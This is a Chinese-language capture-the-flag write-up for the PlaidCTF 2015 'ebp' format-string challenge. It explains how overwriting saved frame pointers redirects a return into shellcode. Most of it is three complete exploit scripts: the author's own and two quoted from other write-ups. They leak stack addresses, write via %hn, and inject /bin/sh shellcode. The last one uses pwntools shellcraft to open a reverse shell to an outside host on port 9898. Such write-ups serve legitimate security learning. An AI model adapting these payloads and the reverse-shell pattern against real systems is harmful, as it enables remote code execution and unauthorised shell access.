plaidctf2015 ebp

　　很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样，格式化字符串是放在bss段中，并没放在栈上，因此利用起来有些困难。

　　不过，我们可以利用ebp，可以修改函数的ebp，从而能控制函数的流程。

　　第一步，修改了main's ebp（也就是修改了echo_ebp's ebp指向的内容）为make_response's ebp，为下一步修改echo's ebp做准备。

　　第二步，修改echo's ebp（也就是修改了make_response's ebp指向的内容）为栈中某个地址（记为0x********），使得0x********+4（也就是echo's 返回地址）指向shellcode所在的缓冲区。经过观察，栈中确实存在这样的位置。

　　这样，echo在返回的时候将执行shellcode。

　　比赛时自己的poc如下：

 from socket import *
 import time
 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
 sock = socket(AF_INET, SOCK_STREAM)
 #sock.connect(("192.168.200.7", 10001)) #local debug
 sock.connect(("52.6.64.173", 4545))#remote
 time.sleep(1)
 infoleak="%x%x%x%x\n"
 sock.send(infoleak)
 time.sleep(1)
 leak=sock.recv(1024)
 print leak
 echo_ebp=leak[-6:-2]
 print echo_ebp
 echo_ebp=int(echo_ebp,16)
 make_ebp=echo_ebp-32
 main_ebp=echo_ebp+32
 print hex(make_ebp)

 format1="%%%dc" % make_ebp + "%4$hn\n"
 sock.send(format1)
 print sock.recv(1024)

 format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
 sock.send(format2)
 print sock.recv(1024)

 while 1:
      sock.send(raw_input('$ ')+'\n')
      time.sleep(1)
      print sock.recv(1024)
 sock.close()

　　结果：

　　此外，赛后我也看了别人的writeup。第一篇见：http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚，原作者的Poc如下，我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少，思路更清晰。

 import socket
 import struct
 import telnetlib

 response = 0x0804a480

 offset = 4 # saved frame pointer offset 

 shellcode = (  # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
   "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
         "\x73\x68\x68\x2f\x62\x69\x6e\x54"
         "\x5b\x52\x53\x54\x59\x0f\x34"
 )

 s = socket.create_connection(("52.6.64.173", 4545 ))
 #s = socket.create_connection(("127.0.0.1", 8080 ))
 s.send("%4$p\n")
 addr = int(s.recv(1024), 16)
 print "[+] Leaked Address: ", hex(addr)
 addr1 = (addr - 0x1c) & 0xffff
 print "[+] 2Byte Significant Byte to write : ", hex(addr1) 

 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
 s.recv(4096)

 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
 print "[+] Here you go"
 t = telnetlib.Telnet()
 t.sock = s
 t.interact()

　　还有另外一个版本，来自：https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell，思路很清楚（比赛时我起初也是这样的思路，但是没有想到也不会使用反向shell），但是执行时间较长。学习了不少东西。代码如下：

 #!/usr/bin/env python
 from pwn import *

 r = remote("52.6.64.173", 4545)

 buf_addr = p32(0x0804a080)
 sc_addr  = p32(0x0804A09b)

 payload =  ""
 payload += "%134520975u%4$n"
 payload += buf_addr
 payload += sc_addr
 payload += "AAAA"

 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
 payload += asm(shellcraft.linux.dupsh())

 print "+ sending payload"
 r.send(payload + "\n")
 print "+ got back:", r.recv()